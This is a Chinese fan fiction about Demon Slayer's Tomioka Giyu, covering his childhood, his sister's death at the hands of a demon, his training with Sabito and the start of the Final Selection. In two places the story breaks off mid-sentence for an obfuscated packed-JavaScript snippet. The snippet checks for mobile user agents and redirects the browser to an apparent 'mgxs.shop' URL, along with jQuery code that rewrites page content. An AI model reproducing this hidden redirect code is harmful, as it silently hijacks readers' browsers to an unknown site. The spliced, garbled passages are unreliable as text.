《【义勇个人向】风雪夜归人》 1. 第 1 章 六岁的富冈义勇很喜欢冬天,尤其是下雪的时候。 雪花落在手心,冰冰凉凉的。被体温融化,变成温热的水滴,从指缝之间滑落。 穿着厚厚的衣服,厚厚的鞋子,在雪地上跑来跑去,任由雪花落在自己的身上。 他会在雪地里转圈,会捧起一团雪,捏出雪人的样子。 “姐姐,你看,是小雪人~”小小的他,捧着更小的雪人,炫耀一般抬手给富冈茑子看。 “义勇真厉害~雪人捏得很像呢。”富冈茑子蹲下身,揉揉他的脑袋。 富冈义勇开心得眯起眼睛,将自己捏的雪人送给姐姐。 富冈茑子温柔地笑笑,很小心地将雪人收起来。 “茑子、义勇,来吃饭啦。”两人的母亲朝两个人喊道。 在每年第一次下雪的那天,母亲都会煮一大锅的萝卜鲑鱼。 那是富冈义勇最喜欢吃的一道美食。 清甜的萝卜,鲜美的鱼肉,还有美味的汤汁。 吃多少次都不会腻~ 吃饭的时候,父亲、母亲、姐姐还有他,会围着锅坐在一起。 “怎么样,义勇?”母亲笑着问他。 富冈义勇端着碗,睁着大大的眼睛看着家人,脸上是开心和满足的笑容:“好吃!最喜欢妈妈做的萝卜鲑鱼了!” 父亲坐在他的旁边,伸手去揉富冈义勇的手:“小心烫。” 姐姐富冈茑子也是笑眯眯的,手里拿着勺子,在锅里搅动:“还有很多,义勇可以放心吃。” 富冈义勇不好意思地笑笑,拿着筷子的手挠了挠头。他饭量比较大,又很喜欢萝卜鲑鱼,每次家里煮,几乎一大半都到了他的肚子里。 “我们义勇爱吃东西是非常棒的一件事。以后一定能长得高高壮壮,健健康康的。”母亲说道。 “没错没错。”父亲赞同地点头。 姐姐见富冈义勇碗里没多少了,就拿起勺子,给他补了一碗。 温暖的,美味的,家人坐在一起。 富冈义勇最喜欢这样的冬天了。 和家人在一起的日子是最幸福的,是即使流泪,也会有人来轻声哄着他。 “痛不痛呀?”母亲撩开富冈义勇的衣服,看见他的手臂有些许的擦伤,又看了看他的后背,上面有一大片的淤青。 “有一点。我在和隔壁的汪太郎玩,准备回家,但他太热情了,我想转身走,结果他一下子就扑到了我的身上,然后摔倒了。”富冈义勇吸吸鼻子,眼角还挂着因为生理反应而泛出的泪花。 他不觉得自己疼,也不觉得汪太郎有错,但眼泪就是不由自主地流出来。 母亲一脸的心疼,让他乖乖坐在屋里,她去拿绷带和药。 擦伤和淤青都要好好处理才行。 六岁的富冈义勇已经很坚强,除了最开始的眼泪,后面处理伤口的时候没再哭过。 这让富冈义勇的母亲又骄傲又心疼。 “妈妈,我是男孩子,我以后可以保护你们,保护姐姐。”富冈义勇趴在被子上,眼睛纯净,里面泛着仍待稚气的坚定。 “好~但我们义勇也要记住,以后要最先保护好自己,不要让自己受伤,知不知道?”母亲摸了摸他的脑袋,继续给他后背上药。 富冈义勇点点头,示意自己知道了。 “我们义勇最乖了。” “爸爸妈妈,永远爱义勇。” “以后,要好好听姐姐的话了。” 是从什么时候开始,富冈义勇开始不再喜欢冬天的? 八岁那年的雪天,他的母亲和父亲因为生病去世了。 只剩下他和姐姐了。 富冈义勇跪在父母的墓前,眼泪止不住地往下流:“爸爸,妈妈。” 富冈茑子的眼眶也红着,因为操心父母的后事还要照顾弟弟,她整个人都在一直绷着。连日的疲惫在她的眼底,留下一抹青黑的痕迹。 她站起来,将富冈义勇拉起来,擦去他脸上的泪痕。 富冈茑子蹲下身,抚摸着哭得上气不接下气的富冈义勇:“义勇,从今往后,就剩我们两个人了。” 富冈义勇控制住自己的情绪,不让自己再哭下去。他看着自己的姐姐:“我会保护好姐姐。” 富冈茑子眼角泛出泪,嘴角却微微上扬,带着哭腔“嗯”了一声。 姐弟俩拥抱在一起。 凭借父母的遗产,他们的日子过得不算太艰难。 没了父母的庇护,所有事就都要自己来做。富冈义勇虽然还小,但已经在学着帮姐姐操持家里的各项事情。 没有空出去玩,更没有时间去悲伤。 富冈义勇必须让自己变得更加坚强。 和姐姐相依为命,两个人互相搀扶地长大了。 “下雪了啊。”富冈义勇将买来的木炭搬到家里,又擦了擦额头上的汗珠。 “辛苦了。今晚我们吃萝卜鲑鱼好不好?”富冈茑子笑着看过来,手里还拿着一根看上去很漂亮的萝卜。 富冈义勇点点头,开心地笑起来:“好~” 两个人坐在屋内,锅里还煮着暖呼呼的汤。 外面的雪花缓缓飘落,屋里的炭火慢慢燃烧。 烧红的木炭,好喝的汤,和姐姐在一起。 像是有什么变了,又像是什么没有变。 富冈义勇不会再捧着雪花去捏雪人,而是会操心家里的木炭够不够用。 他仍旧喜欢萝卜鲑鱼,但会减少自己的食量。 雪花每一年都在飘,富冈义勇也在每年的雪花里长大。 在他十一岁那年,富冈茑子要嫁人了。 富冈义勇并不讨厌富冈茑子的婚约对象,因为这个男人对自己的姐姐很好。 在婚礼的前一天,富冈义勇很为姐姐开心,帮着收拾各种各样的东西。 “姐姐,你之后不用担心我,好好和姐夫过日子。”富冈义勇清点着明天婚礼需要的各种东西,不肯有一丝遗漏。 富冈茑子坐在旁边,水蓝色的眼眸里带着幸福也带着一丝放不下。 义勇还这么小,等她嫁人,他就要自己一个人生活了。 富冈义勇留意到姐姐的眼神,干脆走了过去,抱了下自己的姐姐:“姐姐,没关系的。我可以照顾好自己,我会做饭,父母的钱也足够我用到成年。” 富冈茑子不禁眼角泛出眼泪,紧紧抱着自己的弟弟:“义勇……” 已是黑夜,桌上的烛火亮着,为房间带来了一缕光。 姐弟两个人头碰着头。 “姐姐,我希望你能幸福。” “在姐姐心里,义勇一直都很坚强。姐姐也希望你能幸福,义勇。” 对未来的期许,对彼此美好的祝愿,被突然出现的声音打断。 像是什么东西在地上摩擦的响声。 刺耳。 恐惧。 姐弟两个人抱在一起,纷纷看向外面。 那异样的声音越发清晰。 富冈茑子反应过来,压低声音惊呼道:“是鬼!” 父亲和母亲曾和他们说过,有鬼会在夜晚出没,所以一定不能天黑以后还在外面,因为鬼是会吃人的。 富冈茑子不知道鬼为什么会进来他们家里。但她要保护好自己的弟弟! 忽然! 门打开了! 像是被什么劈开,门歪斜地挂在上面,中间有一道深深的裂痕。 寒风吹进屋内,雪花飘落到地板上,留下点点水渍。 富冈茑子反应很快,将弟弟护在自己的身后。 富冈义勇本想保护姐姐,却被姐姐死命地按住。他不想伤到姐姐,只能乖乖地躲在富冈茑子的身后。 门被打开,却什么也没有出现。 刺耳的摩擦声不断,由远及近,越近越能听出像是斧头在地上划过。 不能留在这里! 富冈茑子迅速站起身,拽着富冈义勇就往外跑。 这不是他们姐弟俩能对付的! 他们必须要逃! 富冈义勇在害怕,也能感受到自己姐姐的恐惧。 他的手腕被姐姐捏得很紧,但他什么都没说,紧紧地跟着自己的姐姐。 在家里摆放木炭的地方,有一块很小的空隙,足够一个小孩躲进去。 富冈茑子用力把富冈义勇塞进去,让他躲好。 “义勇!听姐姐的话!躲起来!” “不要发出任何声音!” “鬼只在晚上出现。听姐姐的话,在天亮之前,不要从这里出去!” 平时总是笑着的姐姐难得板着脸,甚至因为惊慌,她的身子都在颤抖。 富冈义勇想要说什么,嘴唇只是在动,却发不出声音。 不要,我想和姐姐一起。 我想要保护姐姐。 姐姐…… 富冈茑子动作迅速,见弟弟藏好,她搬来木柴,将富冈义勇盖住,又将燃尽的木灰洒在上面。 她要保护好义勇! 做完这一切,富冈茑子迅速地往其他地方跑。 要把鬼引开! 破开大门的是一个拿着斧头的鬼,他没有眼睛,手里拖着一把用链条连接的斧头,在地上发出刺啦的响声。 “在哪里?在哪里?”斧头鬼的头四处转着,似乎在闻什么味道。 他缓慢地移动着身体,一步一步地逼近富冈茑子躲藏的地方。 富冈义勇看不到外面,只听到了声音,他谨记姐姐的话,用手捂住自己的嘴巴,降低自己呼吸的频率。 摩擦的声音逐渐靠近,富冈义勇的心脏也猛烈跳动起来。 声音突然消失,富冈义勇闭紧双眼,蜷缩着自己的身体。 “不对。”低沉的声音就在富冈义勇的头顶响起。 他害怕地一动不敢动。 “在哪里?”斧头摩擦的声逐渐远离。 富冈义勇仍不敢发出声音,因为缺氧,他的眼前阵阵发晕。 “鬼!你给我过来!”伴随着话语落下的,是石头敲到什么的声音。 富冈义勇的大脑变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153499|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空白。 那是姐姐的声音。 姐姐…… 姐姐! 他要去找姐姐! “听姐姐的话!躲起来!”富冈茑子的话突然出现在脑海里。 斧头的摩擦声开始变得越来越远。 富冈义勇抱住自己的身体,眼泪不停地流着。 他哭了很久,很久。 等阳光照进他躲藏的地方,富冈义勇用仅剩的力气推开了头上的木头。 他手脚发软,费了很大力气才从里面走出来。 家里的地面留下无数的划痕,他追着划痕一步步朝前走,后面更是跑起来。 下了一晚上的雪,地面早已变得雪白。 白芒之中,有一片血红。 那是姐姐的尸体。 红色的血液流了满地。 他的姐姐,躺在地上。 没有呼吸。 “姐姐!”富冈义勇大声喊着,跑到姐姐的身旁,抱起她的身体,“啊!!!!” 都是为了保护他,姐姐才死的! 都是因为自己的弱小无能! 姐姐! 雪地被染红,滚烫的热泪落在上面,留下一个又一个难以愈合的伤口。 父亲,母亲,姐姐。 他没有家人了。 “啊!”富冈义勇哭得很大声。 他已经很久没有哭过了。 无法抑制的悲伤,难以压制的自责。 全部宣泄到那无能的哭声里。 隔壁家的人听到了富冈义勇的喊声,过来查看情况,然后就看到了惨死的富冈茑子和大声哭着的富冈义勇。 富冈茑子的尸体被埋葬了,后事是富冈义勇和姐姐的未婚夫一起办的。 “是鬼!是鬼杀了姐姐!那个鬼有斧头,他劈开了门。姐姐带我跑了出去。” “姐姐她是为了把保护我才死的。” 富冈义勇试着和人解释。 但没有人相信。 富冈茑子的未婚夫也一样。 这个人很爱富冈茑子,即使他们并没有举行婚礼,却依旧将富冈茑子当做了自己的妻子。 他和其他人都以为富冈茑子的死是有强盗入室抢劫,根本不存在什么鬼。 男人轻抚上富冈义勇的脸颊,眼里也带着悲伤:“我知道茑子的死你很难过,也备受打击。没事的,义勇,我会替你姐姐照顾你。” 富冈义勇双目无神,觉得一切离自己很远。 他听不清人们在说什么,杂七杂八的话语像是蜂鸣一样在他的耳边响起。 是他不好。 都是他的错。 他明明说过可以保护好自己的家人。 但姐姐死了。 为了保护他而死了。 茑子未婚夫身旁站着人,一脸担忧地看着富冈义勇:“这孩子不会害怕过头,心理出问题了吧?又是鬼又是斧头的。” “我听说隔壁山上有个村子,里面有一个很厉害的医生,要不要把他送过去看看?” 未婚夫看着富冈义勇一脸失魂落魄的样子,也有些放心不下。 他蹲下身,轻声轻语地喊着:“义勇?义勇?” 富冈义勇眼睛有些失神,木然地看向面前的这个人:“姐姐,是被鬼害死的。” “是为了保护我,姐姐才死的。” “姐姐是为了救我。” 未婚夫闭了闭眼,掩盖住眼角的涩意,不去想茑子的死。他声音喑哑,抱住富冈义勇:“没事了,义勇。没事了。” 富冈义勇这个样子,怎么都让人放心不下。未婚夫就听人的建议,让人带着义勇去找那位医生。 那又是一个雪天。 雪花从空中飘落,神情有些麻木的富冈义勇用手去接,只觉得冰冷刺骨。 温暖,没有了。 没有人会和他围坐在一起,没有人给他煮萝卜鲑鱼。 父母去世了,姐姐为了保护他死了。 姐姐她,不该死的。 姐姐是为了救他才死的。 死的本来该是他的。 所有情绪在心间翻涌,富冈义勇捂着自己的胸口,总觉得心口像是要爆炸一样。 在去找医生的路上,富冈义勇找机会逃走了。 他要去找那个杀死姐姐的鬼! 他没有生病,鬼是真的存在的! 等到大人发现富冈义勇不见的时候,他已经跑走了很远很远。 双.腿被冻得快没有知觉,双手也变得通红。 因为剧烈跑动而不停喘息,白色的哈气起起伏伏。 力气一点点地在消散,眼前的景色变成了混沌的白。 富冈义勇脚下一个踉跄,摔倒在雪地上。 雪花冰冷,没有半分暖意。 姐姐…… 失力、失温,让富冈义勇再也撑不下去。 他趴在地上,侧着脸看到落到地面的雪花。 “爸爸……妈妈……姐姐……” 我来找你们了。 2. 第 2 章 富冈义勇睁开了眼。 这不是天堂,也不是地狱。 只是一个普通的小木屋。 他没见到自己的家人。 “哟,醒了?”一个猎人打扮的男人注意到富冈义勇的动作,起身走了过来。 他伸出手,摸了摸富冈义勇的额头:“还在烧着。” “头晕不晕?饿不饿?” “你这小孩也真是的,发着烧还在雪地里乱跑,也是得亏我发现得及时。” 因为常年打猎,猎人的手有些粗糙,在触碰的时候,富冈义勇能感受到男人手上的硬茧。 因为高烧,富冈义勇的视线算不上清晰,还一阵阵得发黑,耳鸣也时不时出现。 猎人见富冈义勇还在烧,就去端过来一个碗,坐到富冈义勇的旁边。他一手端着碗,一手拿着勺子:“先喝点粥,你烧还没退,吃完东西再喝药。” “谢……咳!咳咳!”富冈义勇的话还没说完,就猛烈地咳嗽起来。 也是这时候,他才发觉自己的嗓子难受得不行,喉咙像是被刀刺了一样痛。 猎人连忙放下碗,把富冈义勇扶起来,轻拍他的背帮他顺气。 “看你之前的样子,在雪山上肯定跑了很久,嗓子多少伤到了。这几天先不要说话,等烧退了再给你喝治嗓子的药。” 富冈义勇好不容易平复下咳嗽,靠在猎人的怀里喘息着。 他说不了话,只能做出“谢谢”的口型。 猎人摸了摸富冈义勇的脑袋:“没事的,小孩。等病好了,再和我说说你之前遇到了什么吧。” 富冈义勇呼吸平稳后,脑子又开始变得昏昏沉沉,听话地喝下药,就再次睡了过去。 等烧退下去,富冈义勇才觉得自己的头脑变得清晰起来。 他的嗓子还没好,说话也只能轻轻地说。 他和猎人说了自己之前的经历,本以为猎人也会不相信他的说法,但猎人却一脸严肃,表示他知道了。 “你相信我吗?”富冈义勇看着猎人,海蓝色的眼睛里显露出疑惑。 猎人揉了揉他的脑袋:“我相信你。等你好起来,我介绍我的朋友给你认识。” “如果你的姐姐真的是被鬼杀的,去见他,最合适不过了。” 富冈义勇黯淡的双眼开始重新有了光。 猎人的朋友叫做鳞泷左近次,是一个带着天狗面具的男人,而他说自己是鬼杀队的培育师。 “鬼杀队?”富冈义勇醒过来三天了,烧已经完全退了,只是嗓子还没完全好。现在能说话,但还带着些许沙哑。 鳞泷左近次点头:“鬼是由人类变化而成,多数没有理智存在,凭借本能会吞食人类。他们害怕阳光,被阳光照到就会消失,所以他们只在晚上出来。鬼吃的人越多,也会变得更加厉害。” “而鬼杀队,就是以杀灭所有鬼为己任。” “来见你之前我调查过,昨天有鬼杀队队员除掉了一个没有眼睛,手里拿着链条斧子的鬼。” “很抱歉,我们来迟了。”鳞泷左近次摸了摸富冈义勇的头。 听到这个消息,富冈义勇又抑制不住地想要流泪。 姐姐…… 他放在床上的手忍不住握紧,低声哭泣的同时,他下定了决心。 富冈义勇伸出手,抓住鳞泷左近次的衣角:“我也想要加入鬼杀队。” 低沉而沙哑的嗓音,掩不住他话语里面的坚定。 我也要去杀掉那些可恶的鬼。 残害无辜,吞噬人类。 他们,不可原谅! 鳞泷左近次看着年纪尚小的富冈义勇,又看着他眼中燃烧的怒火与坚定,道:“好。那就跟我走吧。” 富冈义勇跟着鳞泷左近次走了。 鳞泷左近次住在山里,他还收养着另一个孩子,名叫锖兔。 锖兔有着肉色的头发,脸颊上还有一道伤疤。 “我叫锖兔,你叫什么?”脸上带着笑的少年,凑到刚来的富冈义勇身边。 爽朗的笑容,温柔的话语,让富冈义勇心间躁动的情绪缓缓平静。 “我叫富冈义勇,可以叫我义勇。” 他和锖兔同岁,又都无依无靠的,很快就成了好朋友。 只不过富冈义勇已经很久没有和朋友一起玩,平时都是锖兔带着他在林子乱跑。 锖兔很温柔,也很有正义感,还经常给他带饭团吃。 和锖兔还有老师在一起的日子,很快乐。 富冈义勇难得感觉轻松起来。 他拜了鳞泷左近次为师,和锖兔一起练习呼吸术。 想要成为鬼杀队的一员并不容易。 白天要训练,晚上也要训练。 但富冈义勇并不觉得累。 他想要变强,想要有能力去守护。 “鬼可以治愈重生,但人不可以。” “只有当剑比鬼更快,你们遇上鬼时才能活下来,而不是被鬼杀掉。” 鳞泷左近次培养了很多弟子,但与鬼的战斗是残酷的。 鬼受伤了还能重生。但人死了,就真的死了。 鬼灭队已经存在一千余年,代代与鬼厮杀战斗。 流血、受伤,甚至是牺牲,对鬼杀队的人来说,是再寻常不过的事。 鳞泷左近次在培养弟子时,训练的标准越来越高。就是不想他们枉顾自己的性命。 他老了,执行不了频繁的任务,只能教教这些孩子,让他们把鬼灭队的意志传承下去。 富冈义勇明白老师的苦心,也知道鬼对普通人来说的恐怖。 无能为力,只能看着鬼将自己珍视的人杀死。 这种感觉,他真的不想再体验了。 想要杀掉鬼,就要变得厉害,变得很厉害。 不停地挥剑,不断地矫正姿势。去感受自己的身体,调整身体的呼吸。 以血肉之躯挑战鬼。 这需要足够坚定的意志。 对于富冈义勇来说,他想要杀掉鬼,既是替自己的姐姐报仇,也是为了不让姐姐的悲剧再次出现。 因为鬼而失去所珍视的人,这种事,不要再出现了。 弱小无能的他,什么也做不到,连自己的姐姐都救不下来。 甚至需要姐姐为了保护他而死。 如果…… “想什么呢?”锖兔冒出来,出现在富冈义勇的身前。 富冈义勇被吓到,眼睛都睁大了一分。 现在太阳已经快落山,白天的训练已经结束,他正靠在树上休息。 看着落日的余晖,他不禁想到了自己的父母,还有姐姐。 他微微低下头,轻声道:“只是在想如果那天死的是我就好了。” “啪!”锖兔听到这句话,直接一个巴掌打上富冈义勇的侧脸。 “锖,锖兔?”富冈义勇被打蒙了,被锖兔的力道带着,直接坐到了地上。 爱笑的锖兔收起了笑容,板着脸,厉声地说:“什么不如自己去死,别给我说第二次!” “你要是再说,我们就绝交!” “你姐姐原本要在第二天成亲。她明知自己会死,也要把你藏起来躲过鬼的袭击。你说这样的话,是对你姐姐的亵渎!唯独你不能这么想!” “你绝对不能死!” “这是你姐姐不惜性命帮你延续的生命,也是将未来托付给了你。”锖兔伸出手,想要拉富冈义勇起来,“所以你也要将它传承下去,义勇。” “爸爸妈妈,永远爱义勇。” “姐姐也希望你能幸福,义勇。” 富冈义勇的眼角泛出眼泪,家人说过的话语在此刻回响在脑海里。 他捂着脸颊的手松开,擦去泪水,伸手握住了锖兔的手:“嗯!” 活下去。 连带着他们的期望活下去。 这才是他现在要做的事。 训练,变强。 日复一日。 …… 鬼杀队并非官方承认的组织,千年来由产屋敷家族率领。 作为整个鬼杀队的领导人,主公负责着鬼杀队的整体行动方向,并给鬼杀队提供资金、住宿以及所需要的一切物资。 除了主公外,鬼杀队中地位最高的人被称为“柱”。柱之下,按等级分别为甲、乙、丙、丁、戊、己、庚、辛、壬、癸。 想要成为鬼杀队的正式队员,就要参加去最终选拔。 最终选拔为五年一次,每次的地点不变,都在藤袭山。藤袭山中存在鬼,这些鬼是被队员活捉过来的,多数只吃了一到两个人,实力并不强。 让想要加入鬼杀队的人去参加最终选拔,是为了让他们认识到与鬼战斗的残酷,以及培养战斗时随机应变的能力。 只凭一腔热血,杀不了鬼,也救不了人,只会白白送命。 练习呼吸术,提高自己的身体素质,都是最基本的技能。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153500|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想要以人类之躯对抗鬼,除了坚定的意志,实力更是关键。 培育师会为鬼杀队培养新的队员,但大多数培育师并不会带着自己的弟子实战,更多是在让他们打基础。 富冈义勇和锖兔也是这样。 最终选拔每五年举办一次,最近的一次是在三年后。 两个人都想要成为鬼杀队的一员,每天辛苦地训练着。 在这三年里,锖兔比富冈义勇要更早完成老师的目标,后面也一直在增强自己的能力。 富冈义勇比他晚几年学习,为了能和锖兔一起参加选拔,几乎没日没夜的训练着。 在富冈义勇十三岁那年,他终于完成了鳞泷左近次给出的目标。 在看见富冈义勇砍断那块石头时,锖兔走过来,扶着他的肩膀:“义勇,看来我们可以一起参加最终选拔了。” 富冈义勇用力点头:“嗯!” 现在离最终选拔还有一个月,他们还有时间去为选拔做准备。 在出发之前,鳞泷左近次分别给富冈义勇和锖兔两个狐狸面具。这是他亲手做的消灾面具,希望他们能够一切顺利。 “一切小心。”鳞泷左近次看着自己的两个弟子,拍了拍他们的肩膀,目视他们远去。 一旦成为鬼杀队的一员,就要开始不停的战斗,直到身体再也砍不动鬼为止。 作为前任的水柱,鳞泷左近次斩杀了无数的恶鬼。但人总会老,当年退居两线,就是因为身体跟不上快节奏的战斗。虽然仍能斩落普通的鬼,但作为柱来说,实在太差劲了。 他从一线退了下来,作为培育师开始教导新的队员。 然后看着他们一个又一个,死在和鬼战斗的过程中。 如果说鳞泷左近次内心没有动摇,那是不可能的。 都是自己亲手养大的孩子,怎么可能愿意就这样看着他们死去。 但,这是鬼杀队的职责。 是他们在成为正式队员以后,早已心知肚明的事情。 为了所有人能够在夜晚安睡,为了所有人能和自己的家人团聚在一起,为了不让其他悲剧再次上演。 他们,甘愿。 当看着富冈义勇和锖兔一起踏上这条无法回头的路时,鳞泷左近次只能在心中为他们祈祷——希望他们能一切安好。 富冈义勇和锖兔一起来到了藤袭山。集合地这里,有不少人在。 两个人站在一起,观察着周围的人。多数和他们年龄差不多,和锖兔一样身上有伤的不再少数。 大家,都是被鬼伤害过的人。 富冈义勇微微垂眸。 等太阳的余晖洒在地面时,有人给他们挨个分发了可以挂在他们脖子上的小笛子。 笛子的样式一模一样,富冈义勇看了看他和锖兔的,发现没什么区别。 有好奇的人直接把笛子吹响了。 声音穿透度很高,在很远的地方就能听清楚。 “这个笛子是你们所有人的保命符。选拔开始后,所有人都要进到藤袭山里,在里面生存够七天。在这中间,你们会遇到鬼,也会和鬼战斗。没有人会帮助你们。” “如果有人想中途退出,或者遇到解决不掉的危险,请立马吹响这个笛子,会有人前往救援。当然,吹响笛子的人,考核算作不合格。” “选拔的目的在于让各位接受历练。如何能活下来,是诸位首要考虑的。” 穿着鬼杀队队服的人站在所有人的最前方,缓缓说着规则。 “不合格的人可以参加下次的选拔,也可以报名参加后勤部门。当然,想要后勤部门也有通过对应的考核。” 富冈义勇听老师说起过鬼杀队的后勤部门,他们统一被叫做“隐”。 收集各地异常情况,核对各个队员位置,任务的安排,任务完成后的打扫工作,伤者的救治等等,这些都由隐来完成。 如果没有隐的存在,鬼杀队都会变得一团乱,所以在鬼杀队里,隐的地位其实算不上低。 只是对来到这里的人来说,他们更希望能和鬼正面交手,去杀掉那些危害人间的恶鬼。 “诸位,夜晚已至,请前进吧。” 随着话语的落下,富冈义勇和锖兔相视一笑,戴好自己的面具,纷纷向前走去。 月亮在夜空显出身影,黑夜寂静无声,紫藤花香弥漫。 无人注意到的地方,有一双眼睛缓缓睁开。 危机的序幕,即将拉开。 3. 第 3 章 富冈义勇和锖兔进入紫藤山后没有分开行动,两个人一起拿着刀在树林里缓步前进。 夜晚的山上能见度很低,但两个人之前都经历过夜晚战斗的训练,视觉和听觉都得到了强化,还是能分辨清楚周围的情况。 “义勇,小心点。”锖兔握紧手里的刀,仔细地观察着周围。 富冈义勇点头,让锖兔也留心。 未知的环境里,鬼随时都有可能出现。 由于藤袭山五年才开放一起,这里面的鬼着实饿了很久。在看到有人进入后,就开始朝着这群人袭来。 饿上头的鬼没有理智,动作幅度丝毫不进行掩饰。 时刻关注着周围的两个人第一时间就发现了异样,他们立马站在一起,背对背靠着。 右手握紧刀把,随时准备拔刀。 “上面!”锖兔反应迅速,拔刀挡住鬼的攻击。 富冈义勇配合锖兔动作,调整自己的呼吸。 水之呼吸,叁之型,流流舞。 水之呼吸,以水为攻,讲究波澜不惊。防御时如海面包容一切,攻击时如怒涛般吞噬一切。 流流舞是刀法结合步法,旋转自身然后用刀攻击敌方。 现下锖兔拦下了鬼,流流舞最适合对鬼进行攻击。 两个配合默契,鬼的躲闪也不遑多让。 他的手被锖兔的刀挡住,就猛地往后跳,想要避开富冈义勇的攻击。 刀身划过鬼的胳膊,在上面留下一道血痕。 跳开的鬼舔了舔嘴唇,让划伤的地方慢慢愈合:“两个臭小子。” 富冈义勇和锖兔没有给鬼反应时间,迅速靠近鬼,挥刀砍向他的脖子。 “铮!”就在他们攻击的时候,有其它鬼也凑了过来,纷纷对两个人发动攻击。 富冈义勇挡住攻击,使出水之呼吸的第一型,水面斩。 水面斩的攻击威力大,但同样能在防守时使用,最适合挡住正面的强力攻击。 锖兔应对起鬼来,要比富冈义勇轻松一点。他快速避开鬼的攻击,用出水之呼吸的十之型,生生流转,干脆利落地出刀,把周围鬼的头全部砍了下来。 等到所有鬼变成灰尘消失,富冈义勇擦了擦额头上的汗,然后舒了口气:“锖兔,你真的好厉害。” 锖兔笑了笑,将刀收起来:“我可是比你多练了好几年呢。” 富冈义勇也收好刀,和锖兔站到一起:“这里面的鬼看来不少啊。” 锖兔点头,他看向富冈义勇,关心道:“还好吗?” “没事的。”富冈义勇摇摇头。和鬼战斗,他应对起来完全没有锖兔轻松。 刚刚的鬼,也都是锖兔杀掉的。 “夜晚还长,现在可以先休息一下。”锖兔看了看周围,没有发觉异常。 两个人靠着树坐下来,一边休息一边注意着周围。 富冈义勇四处观察:“锖兔,你能察觉到甲级队员在哪吗?” 在选拔进行的过程中,藤袭山被划分成不同区域,每个区域都有甲级队员。一旦发现有参加者有生命危险,即使没有吹笛子,也会立马出手援救。同时参加者考核作废,算作不合格。 锖兔观察着,说自己不太确定,只能隐约感受到有人的气息在移动。 富冈义勇海蓝色的眼眸里满是崇拜:“好厉害。我只能感到周围没有鬼。” 锖兔笑了笑:“以后你也可以的。” “锖兔,你这么厉害,后面一定能成为柱的。”富冈义勇道。 “不论成不成为柱,我们的职责都不会变。”锖兔从怀里拿出一个饭团,递给富冈义勇,“义勇,我虽然和你同岁,但我和老师一起训练要比你早两年。给你同样的时间,我相信你能比我做得更好。” 富冈义勇拿过饭团:“我会努力跟上你的!” “嗯。”锖兔温柔笑笑,嘴角微微上扬着。 藤袭山的夜晚是寂静的,战斗也在悄无声息中展开。 到了深夜,和鬼进行战斗的少年们正是情绪紧绷的时候。 “嗬嗬嗬。”有人站在树枝上,发出笑声。 在月光的照射下,她的双眼映出下弦陆的字样。 十二鬼月。 前文有言,所有的鬼都是人类变成。而能将人类变成鬼的,只有一个鬼,那就是鬼舞辻无惨,也是所有鬼的领导者。他会筛选人类,将自己的血分给他们,从而将对方变成鬼。 十二鬼月是鬼舞辻无惨手下的实力最强大的十二个鬼,分为上弦、下弦各六位。 雾姬作为下弦六,是十二鬼月里实力最低的那一个。她渴望变得更强,渴望分得无惨大人更多的血。 由于鬼杀队每年的选拔没有换过地点,这让雾姬无意中发现了这个地方,也探查到这里会举办鬼杀队的选拔。 为了让无惨大人重视自己,她没有及时上报这个消息,而选择了自己独自行动。 她要杀了这山上的所有人,把他们全吃掉,断了鬼杀队的未来。 毕竟,鬼杀队的存在真的很惹鬼烦。 藤袭山周围种着很多紫藤花,这对普通的鬼来说是一种威胁,但对雾姬来说,却算不得什么。 她的血鬼术可以将血化作水雾,悄无声息地飘到山中。只要没人带着解毒剂,那在山上的所有人都会中她的毒。 中了毒的人,会在短时间内陷入昏迷。等到所有人昏迷,就是她大开杀戒的时候。 “嗬嗬嗬。”低沉而尖锐的笑声响起,雾姬的身影变成雾气般散去,“无惨大人,我会给您带来惊喜。” 富冈义勇和锖兔互相配合,斩杀了不少恶鬼。中间也偶遇了其他人,只不过很多人习惯了独来独往,和两个人打个照面后就离开了。 但也不乏喜欢组队一起的,比如村田,一个黑发黑眸的少年。 在刚刚,锖兔和富冈义勇帮着村田解决掉了一只鬼。 “你们也学的水之呼吸啊,我也是。”村田自己介绍,“我叫村田。” 三个人互相打了声招呼,就开始一起行动。 在继续前进的路上,锖兔忽然伸手拦住身旁的两个人。他的鼻子动了动,眉头紧皱,连忙捂住自己的嘴:“减弱呼吸!周围不对劲!” 他迅速调整自己的呼吸频率,减少吸入的空气。 几乎看不见的雾在渐渐蔓延,锖兔反应迅速:“快退后!这些不是正常的雾气!” 山中的夜晚会经常出现雾气。但锖兔在山上住了这么久,是不是自然产生的雾他分得一清二楚。 他仔细地观察着周围,寻找雾气的来源。 太安静了。 富冈义勇和村田跟着锖兔往后退,也减弱了自己的呼吸频率,不让诡异的雾碰到自己。 村田的反应稍微慢了一些,吸入了一部分的雾气。在站定后,他扶住旁边的树干:“这些雾有毒!会让人昏昏沉沉的!” “不对!普通的鬼不该有这种能力。”锖兔分析情况,“这是血鬼术!” 所谓血鬼术,是指鬼可以用自己的血而施展出一些特殊的能力。这不是所有鬼都有的能力,只有一些实力强大的鬼才拥有,而在藤袭山里的鬼根本不可能拥有血鬼术。 这不是他们能解决的鬼! 锖兔正这么想的时候,忽然听到有破空的声音出现。 是弓箭! 它的目标是村田! 锖兔脚下用力,快速跳过去,用刀拦住射来的箭头。 “铮!” 富冈义勇也注意到了攻击,立马推开旁边的村田,帮锖兔抵住后来的弓箭。 